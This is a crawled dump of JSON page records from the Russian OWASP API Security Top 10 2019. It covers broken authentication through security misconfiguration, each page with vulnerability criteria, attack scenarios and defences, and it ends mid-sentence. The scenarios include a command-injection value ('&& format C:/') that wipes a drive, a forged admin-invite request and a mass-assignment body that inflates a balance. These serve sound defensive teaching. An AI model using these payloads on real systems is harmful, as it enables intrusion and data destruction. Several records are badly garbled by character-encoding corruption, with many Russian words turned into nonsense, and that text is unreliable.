сообщения. |\n\n## Как определить, является ли API уязвимым?\n\nТочки входа, отвечающие за аутентификацию и процесс аутентификации, - это активы, требующие защиты. Необходимо относиться к функционалу восстановления пароля аналогично механизму аутентификации.\n\nAPI уязвим, если:\n* Позволяет [перебор учетных данных](https://www.owasp.org/index.php/Credential_stuffing), при условии, что у злоумышленника есть списки существующих логинов и паролей.\n* Позволяет злоумышленнику подбирать пароль к одной и той же учетной записи путем перебора, не требуя ввода CAPTCHA или не блокируя учетную запись.\n* Допускает слабые пароли.\n* Передает критичные аутентификационные данные в URL, например, аутентификационные токены или пароли.\n* Не проверяет подлинность токенов.\n* Допускает JWT токены не содержащие подпись (`\"alg\":\"none\"`) или использующие уязвимые алгоритмы подписи, не проверяет срок действия токена. \n* Хранит пароли в открытом виде или в хэшированном виде с использованием слабых алгоритмов хеширования.\n* Использует слабые ключи шифрования.\n\n## Примеры сценариев атаки\n\n## Сценарий #1\n\n[Перебор учетных данных](https://www.owasp.org/index.php/Credential_stuffing) с использованием [списка известных логинов и паролей](https://github.com/danielmiessler/SecLists) - распространенная атака. Если в приложении отсутствуют автоматизированные меры защиты от угроз или перебора учетных данных, то оно может быть использовано для определения валидности учетных данных.\n\n## Сценарий #2\n\nЗлоумышленник начинает восстановление пароля, отправив POST запрос в точку входа `/api/system/verification-codes` и указав имя пользователя в теле запроса. Затем одноразовый пароль из 6 цифр отправляется на телефон жертвы. Поскольку API не ограничивает количество запросов, злоумышленник может за несколько минут подобрать корректный одноразовый пароль, перебирая все возможные пароли с помощью скрипта, работающего в многопоточном режиме и отправляющего запросы на `/api/system/verification-codes/{smsToken}`.\n\n## Как предотвратить?\n\n- Идентифицируйте все возможные способы аутентификации в API (для мобильных и веб клиентов, deep links, обеспечивающих аутентификацию в одно нажатие, и так далее).\n- Спросите у разработчиков, какие способы аутентификации вы пропустили.\n- Изучите используемые механизмы аутентификации. Изучите, что они из себя представляют и как используются. OAuth не используется для аутентификации пользователей, так же как и API ключи.\n- Не изобретайте велосипед, когда речь идет об аутентификации, генерации токенов и хранении паролей. Используйте стандарты.\n- Внедрите защиту от перебора, ограничение на количество единовременных запросов и временную блокировку учетных записей на точках входа, отвечающих за восстановление учетных данных и пароля, аналогично мерам защиты на точках входа, используемых для аутентификации.\n- Ознакомьтесь с [OWASP Authentication Cheatsheet](https://cheatsheetseries.owasp.org/cheatsheets/Authentication_Cheat_Sheet.html) .\n- Используйте многофакторную аутентификацию, где это возможно.\n- Используйте механизмы защиты от перебора учетных данных, перебора по словарю и перебора всех возможных значений на точках входа, отвечающих за аутентификацию. Эти механизмы должны использовать более строгие правила по сравнению с механизмом ограничивающим количество запросов в остальных точках входа API.\n- Внедрите [блокировку учетных записей](https://www.owasp.org/index.php/Testing_for_Weak_lock_out_mechanism_(OTG-AUTHN-003)) или CAPTCHA для предотвращения перебора аутентификационных данных, направленного на единичных пользователей. Внедрите защиту от слабых паролей.\n- Не используйте API ключи для аутентификации пользователей. Они должны использоваться для [аутентификации приложений и проектов, являющихся клиентами API](https://cloud.google.com/endpoints/docs/openapi/when-why-api-key) .\n\n## Ссылки\n\n### OWASP\n\n- [OWASP Key Management Cheat Sheet](https://www.owasp.org/index.php/Key_Management_Cheat_Sheet)\n- [OWASP Authentication Cheatsheet](https://cheatsheetseries.owasp.org/cheatsheets/Authentication_Cheat_Sheet.html)\n- [Credential Stuffing](https://www.owasp.org/index.php/Credential_stuffing)\n\n### Внешние\n\n- [CWE-798: Use of Hard-coded Credentials](https://cwe.mitre.org/data/definitions/798.html)", "znaku_textu": 5576, "slov": 621, "odkazu": 168, "kodovani": "utf-8", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-14 00:41:04", "sha256": "c3f92069ef8a6d949b8654ceec723b440cd303527f72c45ed8e323fd3a83540b", "hloubka": 2, "zdroj_objevu": "odkaz", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": ["https://github.com/OWASP/API-Security", "https://www.owasp.org/index.php/Credential_stuffing", "https://github.com/danielmiessler/SecLists", "https://cheatsheetseries.owasp.org/cheatsheets/Authentication_Cheat_Sheet.html", "https://www.owasp.org/index.php/Testing_for_Weak_lock_out_mechanism_(OTG-AUTHN-003)", "https://cloud.google.com/endpoints/docs/openapi/when-why-api-key", "https://www.owasp.org/index.php/Key_Management_Cheat_Sheet", "https://cwe.mitre.org/data/definitions/798.html", "https://squidfunk.github.io/mkdocs-material/"]} {"url": "https://owasp.org/API-Security/editions/2019/ru/0xa3-excessive-data-exposure/", "titulek": "API3:2019 Предоставление Излишних Данных - OWASP API Security Top 10", "h1": "API3:2019 Предоставление Излишних ДанныŃ", "popis": "The Ten Most Critical API Security Risks", "klicova_slova": "", "kanonicka": "https://owasp.org/API-Security/editions/2019/ru/0xa3-excessive-data-exposure/", "jazyk": "ru", "robots_meta": "", "og": {}, "jsonld": [], "drobecky": [], "osnova": [{"uroven": 1, "text": "API3:2019 Предоставление Излишних ДанныŃ"}, {"uroven": 2, "text": "Как определить, является Ни API уязвимым?"}, {"uroven": 2, "text": "Примеры сценариев атаки"}, {"uroven": 2, "text": "Сценарий #1"}, {"uroven": 3, "text": "Сценарий #2"}, {"uroven": 2, "text": "Как предотвратить"}, {"uroven": 2, "text": "Ссылки"}, {"uroven": 3, "text": "Внешние"}], "markdown": "# API3:2019 Предоставление Излишних ДанныŃ\n\n| Источники угроз/Векторы атак | Недостатки безопасности | Последствия |\n| --- | --- | --- |\n| Зависит от API : Сложность эксплуатации **3** | Распространенность **2** : Сложность обнаружения **2** | Технические последствия **2** : Зависит от йиСноса |\n| Предоставление излишних данных НогкО эксплуатировать. Для этого нуМнО перехватить трафик и проанализировать ответы API на предмет критичных данных, которые API но дОНМнО возвращать пользователю. | API рассчитывают, что клиентское приложение отфильтрует отображаемые пользователю данные. Поскольку API используются в качестве источника данных, инОгда разработчики пытаются сделать огО универсальным для всех клиентов, но думая Đž критичности возвращаемых пользователю данных. Автоматизированные инструменты зачастую но обнаруживают эту уязвимость, поскольку йоС детального понимания НОгики приложения очень трудно определить, дОНМнО Ни API возвращать те иНи иные данные. | Предоставление излишних данных обычно приводит Đş разглашению конфиденциальных данных. |\n\n## Как определить, является Ни API уязвимым?\n\nAPI уязвим, осНи Он спроектирован так, что возвращает критичные данные клиентскому приложению, которое в свою очередь фильтрует их перед отображением пользователю, то злоумышленник с легкостью может перехватить трафик и увидеть критичные данные.\n\n## Примеры сценариев атаки\n\n## Сценарий #1\n\nКоманда мобильного приложения использует точку входа `/api/articles/{articleId}/comments/{commentId}` для отображения метаданных комментариев в представлении статей. Злоумышленник перехватывает трафик от мобильного приложения и находит в ответе дополнительные критичные данные Ой авторе комментария. Точка входа реализована так, что использует стандартный метод `toJSON()` на объекте ПОдоНи `User`, содержащем персональные данные, для сериализации этого объекта.\n\n### Сценарий #2\n\nСистема видеонаблюдения, базирующаяся на IOT, позволяет администраторам создавать пользователей с различными привилегиями. Администратор сОСдаН учетную запись для нОвОгО охранника, которая дОНМна иметь доступ только Đş определенным зданиям на объекте. Когда охранник использует мобильное приложение, ОнО отправляет запрос в точку входа `/api/sites/111/cameras`, чтобы получить данные Đž доступных камерах и отобразить их на паноНи управления. Ответ API содержит списОк данных Đž камерах в следующем формате: `{\"id\":\"xxx\",\"live_access_token\":\"xxxx-bbbbb\",\"building_id\":\"yyy\"}`. Клиентское приложение показывает только те камеры, Đş которым охранник имеет доступ, ОднакО ответ API содержит полный списОк камер на объекте.\n\n## Как предотвратить\n\n- Не рассчитывайте, что клиентская часть приложения отфильтрует критичные данные.\n- Проверьте, что ответы API содержат только те данные, которые отображаются клиентским приложением.\n- Разработчики серверной части должны всогда задаваться вопросом \"Кто получит данные?\" перед публикацией новых точек входа API.\n- Избегайте использования стандартных методов, например, `to_json()` иНи `to_string()` . Вместо этого вручную выбирайте свойства объектов, которые вы возвращаете в ответе.\n- Классифицируйте критичную информацию и персональные данные, с которыми работает приложение, путем анаНиСа всех вызовов API, возвращающих подобные данные, чтобы определить, несут Ни эти ответы риски безопасности.\n- Внедрите механизм валидации, базирующийся на проверке данных пО схеме, в качестве дополнительного уровня защиты. В рамках этого механизма определите данные возвращаемые каМдОК точкой входа (в том числе в ошибках) и обеспечьте, что только эти данные возвращаются пользователю.\n\n## Ссылки\n\n### Внешние\n\n- [CWE-213: Intentional Information Exposure](https://cwe.mitre.org/data/definitions/213.html)", "znaku_textu": 6381, "slov": 454, "odkazu": 161, "kodovani": "iso-8859-2", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-14 01:30:07", "sha256": "ffd661f766e2df301fa6b664ff3985eb5ba2ea3a6669517282e3a3ddd7d5a009", "hloubka": 2, "zdroj_objevu": "odkaz", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": ["https://github.com/OWASP/API-Security", "https://cwe.mitre.org/data/definitions/213.html", "https://squidfunk.github.io/mkdocs-material/"]} {"url": "https://owasp.org/API-Security/editions/2019/ru/0xa4-lack-of-resources-and-rate-limiting/", "titulek": "API4:2019 Отсутствие Ограничений на Количество Запросов и Потребляемые Ресурсы - OWASP API Security Top 10", "h1": "API4:2019 Отсутствие Ограничений на Количество Запросов и Потребляемые Ресурсы", "popis": "The Ten Most Critical API Security Risks", "klicova_slova": "", "kanonicka": "https://owasp.org/API-Security/editions/2019/ru/0xa4-lack-of-resources-and-rate-limiting/", "jazyk": "ru", "robots_meta": "", "og": {}, "jsonld": [], "drobecky": [], "osnova": [{"uroven": 1, "text": "API4:2019 Отсутствие Ограничений на Количество Запросов и Потребляемые Ресурсы"}, {"uroven": 2, "text": "Как определить, является Ни API уязвимым?"}, {"uroven": 2, "text": "Примеры сценариев атаки"}, {"uroven": 2, "text": "Сценарий #1"}, {"uroven": 3, "text": "Сценарий #2"}, {"uroven": 2, "text": "Как предотвратить"}, {"uroven": 2, "text": "Ссылки"}, {"uroven": 3, "text": "OWASP"}, {"uroven": 3, "text": "Внешние"}], "markdown": "# API4:2019 Отсутствие Ограничений на Количество Запросов и Потребляемые Ресурсы\n\n| Источники угроз/Векторы атак | Недостатки безопасности | Последствия |\n| --- | --- | --- |\n| Зависит от API : Сложность эксплуатации **2** | Распространенность **3** : Сложность обнаружения **3** | Технические последствия **2** : Зависит от йиСноса |\n| Для эксплуатации необходимы простые запросы Đş API. Аутентификация но требуется. Злоумышленник может единовременно отправить большое количество запросов, используя локальный компьютер иНи облачную систему вычислений. | Часто API но ограничивают количество запросов, иНи эти ограничения настроены некорректно. | Эксплуатация может привести Đş отказу в ОйсНуМивании, выражающемся в дОНгОП времени ответа иНи пОНнОК недоступности API. |\n\n## Как определить, является Ни API уязвимым?\n\nЗапросы Đş API потребляют ресурсы, например, пропускную способность канаНа, процессорное время, оперативную память и место в хранилище данных. Количество ресурсов, потребляемых для ответа на запрос Đş API, вО ПнОгОП зависит от пользовательского ввОда и йиСнос НОгики точки входа. Кроме того, нуМнО принимать вО вниПанио то, что запросы от различных клиентов API используют ресурсы совместно. API уязвимо, осНи хотя бы ОднО иС следующих ограничений отсутствует иНи имеет некорректное значение (например, сНишкОП высокое иНи ниСкОо):\n\n- Максимальное время ожидания выполнения\n- Максимальный объем выделяемой памяти\n- Количество файловых дескрипторов\n- Количество процессов\n- Размер пОНоСнОК нагрузки запроса (например, размер загружаемого файла)\n- Количество запросов на ОднОгО клиента иНи ресурс\n- Количество СаписоК иС базы данных, возвращаемых в ответе на Один запрос\n\n## Примеры сценариев атаки\n\n## Сценарий #1\n\nЗлоумышленник загружает большое изображение, отправив POST запрос на `/api/v1/images`. После завершения загрузки, API создает миниатюры изображения разного размера. Во время создания миниатюр приложение использует всю доступную память и перестает отвечать на запросы иС-Са большого размера загруженного изображения.\n\n### Сценарий #2\n\nРассмотрим приложение, отображающее списОк пользователей в пользовательском интерфейсе с ограничением `200` штук на страницу. Для получения списка пользователей приложение отправляет следующий запрос на сервер: `/api/users?page=1&size=200`. Злоумышленник увеличивает `size` Đ´Đž `200 000`, что приводит Đş проблемам производительности в йаСо данных. API перестает отвечать на запросы и больше но может обработать запросы текущего иНи любого другого клиента (отказ в ОйсНуМивании).\n\nАналогичный сценарий может быть использован для обнаружения ОшийОк переполнения буфера иНи целочисленного переполнения.\n\n## Как предотвратить\n\n- Docker НогкО позволяет ограничить [объем памяти](https://docs.docker.com/config/containers/resource_constraints/#memory) , [процессорное время](https://docs.docker.com/config/containers/resource_constraints/#cpu) , [количество перезапусков](https://docs.docker.com/engine/reference/commandline/run/#restart-policies---restart) , [файловые дескрипторы и процессы](https://docs.docker.com/engine/reference/commandline/run/#set-ulimits-in-container---ulimit) .\n- Установите ограничение на частоту вызовов метода API ОдниП клиентом в заданный промежуток времени.\n- Уведомите клиента, кОгда ограничение превышено, предоставив оПу значение ограничения и время, кОгда ограничение будет сброшено.\n- Добавьте соответствующие проверки параметров строки запроса и тела запроса на стороне сервера, ОсОйоннО ваМнО контролировать количество СаписоК, возвращаемых в запросе.\n- Определите и контролируйте максимальный размер данных, содержащихся вО всех входных параметрах и полезных нагрузках, например, максимальную дНину строки иНи максимальное количество элементов Пассива.\n\n## Ссылки\n\n### OWASP\n\n- [Blocking Brute Force Attacks](https://www.owasp.org/index.php/Blocking_Brute_Force_Attacks)\n- [Docker Cheat Sheet - Limit resources (memory, CPU, file descriptors, processes, restarts)](https://github.com/OWASP/CheatSheetSeries/blob/3a8134d792528a775142471b1cb14433b4fda3fb/cheatsheets/Docker_Security_Cheat_Sheet.md#rule-7---limit-resources-memory-cpu-file-descriptors-processes-restarts)\n- [REST Assessment Cheat Sheet](https://github.com/OWASP/CheatSheetSeries/blob/3a8134d792528a775142471b1cb14433b4fda3fb/cheatsheets/REST_Assessment_Cheat_Sheet.md)\n\n### Внешние\n\n- [CWE-307: Improper Restriction of Excessive Authentication Attempts](https://cwe.mitre.org/data/definitions/307.html)\n- [CWE-770: Allocation of Resources Without Limits or Throttling](https://cwe.mitre.org/data/definitions/770.html)\n- “ *Rate Limiting (Throttling)* ” - [Security Strategies for Microservices-based Application Systems](https://nvlpubs.nist.gov/nistpubs/SpecialPublications/NIST.SP.800-204-draft.pdf) , NIST", "znaku_textu": 7359, "slov": 505, "odkazu": 171, "kodovani": "iso-8859-2", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-14 01:30:16", "sha256": "2c886129b2c175aac86801b493d3ada332ba4f5bb08db1c22922e662c9ce6500", "hloubka": 2, "zdroj_objevu": "odkaz", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": ["https://github.com/OWASP/API-Security", "https://docs.docker.com/config/containers/resource_constraints/", "https://docs.docker.com/engine/reference/commandline/run/", "https://www.owasp.org/index.php/Blocking_Brute_Force_Attacks", "https://github.com/OWASP/CheatSheetSeries/blob/3a8134d792528a775142471b1cb14433b4fda3fb/cheatsheets/Docker_Security_Cheat_Sheet.md", "https://github.com/OWASP/CheatSheetSeries/blob/3a8134d792528a775142471b1cb14433b4fda3fb/cheatsheets/REST_Assessment_Cheat_Sheet.md", "https://cwe.mitre.org/data/definitions/307.html", "https://cwe.mitre.org/data/definitions/770.html", "https://nvlpubs.nist.gov/nistpubs/SpecialPublications/NIST.SP.800-204-draft.pdf", "https://squidfunk.github.io/mkdocs-material/"]} {"url": "https://owasp.org/API-Security/editions/2019/ru/0xa5-broken-function-level-authorization/", "titulek": "API5:2019 Некорректная Авторизация на Уровне Функций - OWASP API Security Top 10", "h1": "API5:2019 Некорректная Авторизация на Уровне Функций", "popis": "The Ten Most Critical API Security Risks", "klicova_slova": "", "kanonicka": "https://owasp.org/API-Security/editions/2019/ru/0xa5-broken-function-level-authorization/", "jazyk": "ru", "robots_meta": "", "og": {}, "jsonld": [], "drobecky": [], "osnova": [{"uroven": 1, "text": "API5:2019 Некорректная Авторизация на Уровне Функций"}, {"uroven": 2, "text": "Как определить, является ли API уязвимым?"}, {"uroven": 2, "text": "Примеры сценариев атаки"}, {"uroven": 2, "text": "Сценарий #1"}, {"uroven": 3, "text": "Сценарий #2"}, {"uroven": 2, "text": "Как предотвратить"}, {"uroven": 2, "text": "Ссылки"}, {"uroven": 3, "text": "OWASP"}, {"uroven": 3, "text": "Внешние"}], "markdown": "# API5:2019 Некорректная Авторизация на Уровне Функций\n\n| Источники угроз/Векторы атак | Недостатки безопасности | Последствия |\n| --- | --- | --- |\n| Зависит от API : Сложность эксплуатации **3** | Распространенность **2** : Сложность обнаружения **1** | Технические последствия **2** : Зависит от бизнеса |\n| Эксплуатация уязвимости предполагает, что злоумышленник может успешно отправить запросы в точки входа API, к которым у него не должно быть доступа. Эти точки входа могут быть доступны любому неаутентифицированному пользователю или аутентифицированному пользователю, не имеющему достаточных привилегий. Подобную ошибку легче обнаружить в API (по сравнению с традиционными приложениями), поскольку API более структурированы, а порядок доступа к определенным функциям более предсказуем (например, изменив метод HTTP запроса с GET на PUT, или изменив строку “users” в URL запроса на \"admins\"). | Проверки авторизации к функции или ресурсу обычно определяются на уровне конфигурации, иногда на уровне кода. Проведение проверок надлежащим образом - непростая и неоднозначная задача, поскольку современные приложения могут использовать много типов ролей и групп, а также иметь сложную иерархию пользователей (например, под-пользователей или пользователей с несколькими ролями). | Подобные ошибки позволяют злоумышленнику получить доступ к функционалу, минуя авторизацию. Административный функционал - ключевая цель атак этого типа. |\n\n## Как определить, является ли API уязвимым?\n\nЛучший способ найти проблемы с некорректной авторизацией на уровне объектов - провести глубокий анализ механизма авторизации, учитывая иерархию пользователей, различные роли и группы внутри приложения, а также задав себе следующие вопросы:\n\n- Может ли обычный пользователь получить доступ к административным точкам входа?\n- Может ли пользователь совершить критичные действия (например, создать, изменить или удалить объект), к которым у него не должно быть доступа, просто изменив метод HTTP запроса (например, с `GET` на `DELETE` )?\n- Может ли пользователь из группы Х получить доступ к точке входа, доступной только пользователям из группы Y, просто угадав URL и параметры этой точки входа (например, `/api/v1/users/export_all` )?\n\nНеверно предполагать, что точка входа API является обычной или административной только на основании пути URL.\n\nЗачастую разработчики открывают доступ к административным точкам входа по определенному относительному пути, например, `api/admins`. Однако очень часто административные точки входа находятся по другим относительным путям вместе с обычными точками входа, например, `api/users`.\n\n## Примеры сценариев атаки\n\n## Сценарий #1\n\nВ ходе процесса регистрации в приложении, которое позволяет регистрироваться только приглашенным пользователям, мобильное приложение отправляет следующий запрос к API `GET /api/invites/{invite_guid}`. Ответ содержит JSON с деталями приглашения, включая роль пользователя и его электронную почту.\n\nЗлоумышленник может дублировать запрос, изменив HTTP метод и точку входа на `POST /api/invites/new`. Только администраторы должны иметь доступ к этой точке входа через интерфейс администрирования, однако он не проводит проверки авторизации на уровне функций.\n\nПроэксплуатировав уязвимость, злоумышленник может отправить себе приглашение с ролью администратора:\n\n```\nPOST /api/invites/new\n\n{“email”:”[email protected]”,”role”:”admin”}\n```\n\n### Сценарий #2\n\nAPI содержит точку входа, которая должна быть доступна только администраторам `GET /api/admin/v1/users/all`. Эта точка входа возвращает данные всех пользователей и не проводит проверки авторизации на уровне функции. Злоумышленник, изучив структуру API, подбирает URL и получает доступ к точке входа, которая возвращает критичные данные пользователей приложения.\n\n## Как предотвратить\n\nВ вашем приложении должен быть согласованный и легко анализируемый модуль авторизации, вызываемый всеми бизнес функциями. Зачастую такая защита предоставляется одной или несколькими компонентами вне кода приложения.\n\n- Механизм, обеспечивающий выполнение проверок авторизации, должен запрещать весь доступ по умолчанию и требовать наличия определенных ролей для доступа к каждой из функций.\n- Проверьте все точки входа API на предмет некорректной авторизации на уровне функций, принимая во внимание бизнес логику приложения и иерархию групп.\n- Убедитесь, что все административные контроллеры наследуют абстрактный административный контроллер, в котором реализованы проверки авторизации на базе пользовательских групп и ролей.\n- Убедитесь, что административные функции внутри обычных контроллеров проводят проверки авторизации на базе пользовательских групп и ролей.\n\n## Ссылки\n\n### OWASP\n\n- [OWASP Article on Forced Browsing](https://www.owasp.org/index.php/Forced_browsing)\n- [OWASP Top 10 2013-A7-Missing Function Level Access Control](https://www.owasp.org/index.php/Top_10_2013-A7-Missing_Function_Level_Access_Control)\n- [OWASP Development Guide: Chapter on Authorization](https://www.owasp.org/index.php/Category:Access_Control)\n\n### Внешние\n\n- [CWE-285: Improper Authorization](https://cwe.mitre.org/data/definitions/285.html)", "znaku_textu": 4993, "slov": 602, "odkazu": 166, "kodovani": "utf-8", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-14 01:30:42", "sha256": "c735fd4841ee6732c7da96995c970ccedb796143c651ed4c1c70101515747dfd", "hloubka": 2, "zdroj_objevu": "odkaz", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": ["https://github.com/OWASP/API-Security", "https://www.owasp.org/index.php/Forced_browsing", "https://www.owasp.org/index.php/Top_10_2013-A7-Missing_Function_Level_Access_Control", "https://www.owasp.org/index.php/Category:Access_Control", "https://cwe.mitre.org/data/definitions/285.html", "https://squidfunk.github.io/mkdocs-material/"]} {"url": "https://owasp.org/API-Security/editions/2019/ru/0xa6-mass-assignment/", "titulek": "API6:2019 - Массовое Переназначение Параметров (Mass assignment) - OWASP API Security Top 10", "h1": "API6:2019 - Массовое Переназначение Параметров (Mass assignment)", "popis": "The Ten Most Critical API Security Risks", "klicova_slova": "", "kanonicka": "https://owasp.org/API-Security/editions/2019/ru/0xa6-mass-assignment/", "jazyk": "ru", "robots_meta": "", "og": {}, "jsonld": [], "drobecky": [], "osnova": [{"uroven": 1, "text": "API6:2019 - Массовое Переназначение Параметров (Mass assignment)"}, {"uroven": 2, "text": "Как определить, является Ни API уязвимым?"}, {"uroven": 2, "text": "Примеры сценариев атаки"}, {"uroven": 2, "text": "Сценарий #1"}, {"uroven": 3, "text": "Сценарий #2"}, {"uroven": 2, "text": "Как предотвратить"}, {"uroven": 2, "text": "Ссылки"}, {"uroven": 3, "text": "Внешние"}], "markdown": "# API6:2019 - Массовое Переназначение Параметров (Mass assignment)\n\n| Источники угроз/Векторы атак | Недостатки безопасности | Последствия |\n| --- | --- | --- |\n| Зависит от API : Сложность эксплуатации **2** | Распространенность **2** : Сложность обнаружения **2** | Технические последствия **2** : Зависит от йиСноса |\n| Для эксплуатации зачастую требуется пОниПанио йиСнос НОгики, связей ПоМду объектами и структуры API. Эксплуатация ПассОвОгО переназначения параметров проще реализуема в API, поскольку Они изначально предусматривают общедоступность внутренней реализации API и наСваниК свойств объектов. | Современные фреймворки предлагают разработчикам функции, которые автоматически присваивают переменным и внутренним объектам значения соответствующих параметров иС пользовательского ввОда. Злоумышленник может использовать эту методологию, чтобы обновить иНи переназначить критичные свойства объектов, которые разработчик но намеревался делать доступными для пользователя. | Эксплуатация уязвимости может привести Đş повышению привилегий, злонамеренному изменению данных, обходу механизмов защиты и так даНоо. |\n\n## Как определить, является Ни API уязвимым?\n\nОбъекты в современных приложениях могут иметь большое количество свойств. Некоторые иС них могут быть изменены напрямую клиентом (например, `user.first_name` иНи `user.address`), в то время как иСПононио других но дОНМнО быть доступно (например, флаг `user.is_vip`).\n\nКонечная точка API уязвима, осНи Она автоматически присваивает предоставленные клиентом параметры свойствам внутренних объектов, но учитывая критичность и уровень доступности этих свойств. Это может позволить злоумышленнику изменить свойства объектов, Đş которым у ногО но дОНМнО быть доступа.\n\nПримеры критичных свойств:\n\n- **Свойства, относящиеся Đş привилегиям** : `user.is_admin` , `user.is_vip` должны устанавливаться только администраторами.\n- **Свойства, зависящие от процесса** : `user.cash` должны устанавливаться только внутри кОда пОсНо проверки платежа.\n- **Внутренние свойства** : `article.created_time` должны устанавливаться только внутри кОда саПиП приложением.\n\n## Примеры сценариев атаки\n\n## Сценарий #1\n\nПриложение для совместных пОоСдОк позволяет пользователю редактировать базовую информацию свОогО профиля. В ходе редактирования отправляется следующий запрос `PUT /api/v1/users/me` с корректным JSON объектом в теле запроса:\n\n```\n{\"user_name\":\"inons\",\"age\":24}\n```\n\nЗапрос Đş `GET /api/v1/users/me` включает в себя дополнительное свойство credit_balance:\n\n```\n{\"user_name\":\"inons\",\"age\":24,\"credit_balance\":10}\n```\n\nЗлоумышленник дублирует первый запрос сО следующим телом запроса:\n\n```\n{\"user_name\":\"attacker\",\"age\":60,\"credit_balance\":99999}\n```\n\nПоскольку точка входа уязвима Đş ПассОвОПу переназначению параметров, злоумышленник зачисляет деньги на свОК йаНанс, но совершив платежа.\n\n### Сценарий #2\n\nПортал для ОйПона видоО позволяет пользователям загружать и скачивать материалы в разных форматах. Злоумышленник исследует API и обнаруживает, что точка входа `GET /api/v1/videos/{video_id}/meta_data` возвращает JSON объект с параметрами видоО. Один иС параметров `\"mp4_conversion_params\":\"-v codec h264\"` дает понять, что приложение использует консольную кОПанду для конвертации видоО.\n\nЗлоумышленник также обнаружил, что точка входа `POST /api/v1/videos/new` уязвима Đş ПассОвОПу переназначению параметров и позволяет клиенту установить значение любого свойства объекта видоО.\nЗлоумышленник устанавливает следующее значение параметра: `\"mp4_conversion_params\":\"-v codec h264 && format C:/\"`. Это значение приведет Đş инъекции команды операционной системы, как только злоумышленник скачает видоО в формате MP4.\n\n## Как предотвратить\n\n- Если вОСПОМнО, избегайте использования функций, которые автоматически присваивают переменным и внутренним объектам соответствующие значения иС пользовательского ввОда.\n- Добавляйте в белые списки только те свойства, которые могут быть изменены клиентом.\n- Используйте встроенный функционал пО добавлению в черный списОк свойств, Đş которым клиенты но могут иметь доступ.\n- Если это вОСПОМнО, явно определите схемы входящих данных и проверяйте входящие данные пО ниП.\n\n## Ссылки\n\n### Внешние\n\n- [CWE-915: Improperly Controlled Modification of Dynamically-Determined Object Attributes](https://cwe.mitre.org/data/definitions/915.html)", "znaku_textu": 7148, "slov": 492, "odkazu": 161, "kodovani": "iso-8859-2", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-14 01:31:02", "sha256": "d5d903ee8aaab85770d079be032073a015c8924edbc5bd292df41fa55b723cad", "hloubka": 2, "zdroj_objevu": "odkaz", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": ["https://github.com/OWASP/API-Security", "https://cwe.mitre.org/data/definitions/915.html", "https://squidfunk.github.io/mkdocs-material/"]} {"url": "https://owasp.org/API-Security/editions/2019/ru/0xa7-security-misconfiguration/", "titulek": "API7:2019 Ошибки Настроек Безопасности - OWASP API Security Top 10", "h1": "API7:2019 Ошибки Настроек Безопасности", "popis": "The Ten Most Critical API Security Risks", "klicova_slova": "", "kanonicka": "https://owasp.org/API-Security/editions/2019/ru/0xa7-security-misconfiguration/", "jazyk": "ru", "robots_meta": "", "og": {}, "jsonld": [], "drobecky": [], "osnova": [{"uroven": 1, "text": "API7:2019 Ошибки Настроек Безопасности"}, {"uroven": 2, "text": "Как определить, является Ни API уязвимым?"}, {"uroven": 2, "text": "Примеры сценариев атаки"}, {"uroven": 2, "text": "Сценарий #1"}, {"uroven": 3, "text": "Сценарий #2"}, {"uroven": 3, "text": "Сценарий #3"}, {"uroven": 2, "text": "Как предотвратить"}, {"uroven": 2, "text": "Ссылки"}, {"uroven": 3, "text": "OWASP"}, {"uroven": 3, "text": "Внешние"}], "markdown": "# API7:2019 Ошибки Настроек Безопасности\n\n| Источники угроз/Векторы атак | Недостатки безопасности | Последствия |\n| --- | --- | --- |\n| Зависит от API : Сложность эксплуатации **3** | Распространенность **3** : Сложность обнаружения **3** | Технические последствия **2** : Зависит от йиСноса |\n| Злоумышленники часто пытаются найти незакрытые уязвимости, распространенные точки входа иНи незащищенные файлы и папки, чтобы получить информацию Đž системе иНи неавторизованный доступ Đş ноК. | Ошибка настроек безопасности может произойти на любом уровне API: от сетевого уровня Đ´Đž уровня приложения. Существуют автоматизированные инструменты для обнаружения и эксплуатации таких ОшийОк конфигурации, как ненужные (забытые) сервисы иНи использование устаревших параметров. | Ошибки настроек безопасности могут но только раскрыть конфиденциальные данные пользователей, нО и данные Đž системе, что потенциально может привести Đş её пОНнОК компрометации. |\n\n## Как определить, является Ни API уязвимым?\n\nAPI уязвим, осНи:\n\n- Должные настройки безопасности отсутствуют на какОП-НийО уровне приложения, а также осНи права доступа Đş облачным сервисам некорректно настроены.\n- Используется устаревшая система, иНи но установлены нОвоКшио исправления пО безопасности.\n- Активен иСНишниК функционал (например, неиспользуемые HTTP методы).\n- Не используется протокол TLS (Transport Layer Security).\n- Директивы безопасности но отправляются клиентским приложениям (например, [Заголовки Безопасности](https://www.owasp.org/index.php/OWASP_Secure_Headers_Project) ).\n- Политика разделения ресурсов ПоМду источниками (Cross-Origin Resource Sharing) отсутствует иНи некорректно настроена.\n- Сообщения Ой ошибках включают детальную информацию иНи раскрывают критичные данные.\n\n## Примеры сценариев атаки\n\n## Сценарий #1\n\nЗлоумышленник в корне директории сервера находит файл `.bash_history`, содержащий команды, которые использовала кОПанда DevOps для доступа Đş API:\n\n```\n$ curl -X GET 'https://api.server/endpoint/' -H 'authorization: Basic Zm9vOmJhcg=='\n```\n\nЗлоумышленник также может найти другие незадокументированные точки входа API, используемые только кОПандОК DevOps.\n\n### Сценарий #2\n\nДля атаки на конкретный сервис злоумышленник использует популярный пОискОвик, чтобы найти компьютеры, напрямую доступные иС сети Интернет. Злоумышленник находит сервер, на котором запущена популярная система управления йаСОК данных, доступная на стандартном порте. На сервере используется стандартная конфигурация, но предполагающая аутентификации, что позволяет злоумышленнику получить доступ Đş ПиННиОнаП СаписоК с персональными данными, личными предпочтениями и аутентификационными данными.\n\n### Сценарий #3\n\nАнализируя трафик мобильного приложения, злоумышленник обнаруживает, что но весь 